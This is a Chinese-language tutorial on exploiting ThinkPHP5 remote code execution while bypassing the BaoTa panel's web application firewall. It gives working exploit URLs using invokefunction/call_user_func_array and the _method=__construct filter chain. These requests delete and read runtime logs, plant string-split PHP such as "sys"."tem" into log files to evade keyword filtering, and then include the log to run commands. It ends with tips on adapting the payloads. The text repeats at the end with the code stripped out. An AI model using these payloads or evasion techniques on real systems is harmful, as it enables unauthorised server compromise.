Thinkphp5-rce-过宝塔小思路
字数 777 2025-08-07 08:22:09

ThinkPHP5 RCE绕过宝塔防护的教学文档

前言

本文介绍如何绕过宝塔防护实现ThinkPHP5的远程代码执行(RCE)。当目标系统存在ThinkPHP5 RCE漏洞但受到宝塔防护时,常规的system、assert等危险函数会被拦截,需要采用特殊技巧绕过。

环境特点

  1. 宝塔拦截了常见危险函数:system、assert等
  2. 拦截了常见命令:whoami、id、ipconfig等
  3. 拦截了PHP标签:<?php
  4. 需要采用文件包含日志的方式进行绕过

方法一:文件包含日志法

基本原理

通过构造特殊请求将恶意代码写入日志文件,然后包含该日志文件实现代码执行。

详细步骤

  1. 清理旧日志(可选):

    /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=unlink&vars[1][]=../runtime/log/202201/21.log
    
  2. 写入测试内容
    访问普通URL让系统生成日志:

    http://192.168.172.129:8808/index.php?s=index&content=test11
    
  3. 查看日志内容

    /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../runtime/log/202201/21.log
    
  4. 构造拆分式恶意代码
    由于<?php ?>等标签被拦截,采用拆分和注释方式:

    <?php /* 
    $a = "sys" . "tem"; /* 
    $b = "id"; /* 
    $a($b); /*
    

    将上述四部分分别插入到日志中合适位置。

  5. 包含日志执行代码

    /index.php?s=index/\think\Lang/load&file=../runtime/log/202201/21.log
    

方法二:替代RCE语句法

基本原理

使用ThinkPHP5的另一种RCE方式,结合文件包含技巧。

详细步骤

  1. 删除旧日志

    get[]=..\runtime\log\202201\14.log&_method=__construct&method=get&filter[]=unlink
    
  2. 写入恶意代码到日志

    get[]=id&_method=__construct&method=get&filter[]=system
    
  3. 包含日志文件执行

    get[]=..\runtime\log\202201\14.log&_method=__construct&method=get&filter[]=think\__include_file
    

注意事项

  1. 日志路径:需要根据实际情况调整日志路径中的年月日部分
  2. 编码问题:注意请求是否会被URL编码,可能影响日志写入效果
  3. 拦截规则:不同宝塔配置拦截规则可能不同,需要灵活调整绕过方式
  4. 日志完整性:错误的构造可能导致日志损坏,需要先删除再重建
  5. 时间戳:日志文件名中的日期部分需要与当前日期匹配

总结

通过文件包含日志的方式可以绕过宝塔对直接命令执行的拦截,关键在于:

  1. 巧妙构造拆分式PHP代码绕过关键词检测
  2. 利用ThinkPHP5自身的文件包含功能
  3. 正确处理日志文件的创建和删除

这种方法在宝塔防护较严格的环境下特别有效,但需要根据实际拦截规则进行适当调整。

ThinkPHP5 RCE绕过宝塔防护的教学文档 前言 本文介绍如何绕过宝塔防护实现ThinkPHP5的远程代码执行(RCE)。当目标系统存在ThinkPHP5 RCE漏洞但受到宝塔防护时,常规的system、assert等危险函数会被拦截,需要采用特殊技巧绕过。 环境特点 宝塔拦截了常见危险函数:system、assert等 拦截了常见命令:whoami、id、ipconfig等 拦截了PHP标签: <?php 等 需要采用文件包含日志的方式进行绕过 方法一:文件包含日志法 基本原理 通过构造特殊请求将恶意代码写入日志文件,然后包含该日志文件实现代码执行。 详细步骤 清理旧日志 (可选): 写入测试内容 : 访问普通URL让系统生成日志: 查看日志内容 : 构造拆分式恶意代码 : 由于 <?php ?> 等标签被拦截,采用拆分和注释方式: 将上述四部分分别插入到日志中合适位置。 包含日志执行代码 : 方法二:替代RCE语句法 基本原理 使用ThinkPHP5的另一种RCE方式,结合文件包含技巧。 详细步骤 删除旧日志 : 写入恶意代码到日志 : 包含日志文件执行 : 注意事项 日志路径 :需要根据实际情况调整日志路径中的年月日部分 编码问题 :注意请求是否会被URL编码,可能影响日志写入效果 拦截规则 :不同宝塔配置拦截规则可能不同,需要灵活调整绕过方式 日志完整性 :错误的构造可能导致日志损坏,需要先删除再重建 时间戳 :日志文件名中的日期部分需要与当前日期匹配 总结 通过文件包含日志的方式可以绕过宝塔对直接命令执行的拦截,关键在于: 巧妙构造拆分式PHP代码绕过关键词检测 利用ThinkPHP5自身的文件包含功能 正确处理日志文件的创建和删除 这种方法在宝塔防护较严格的环境下特别有效,但需要根据实际拦截规则进行适当调整。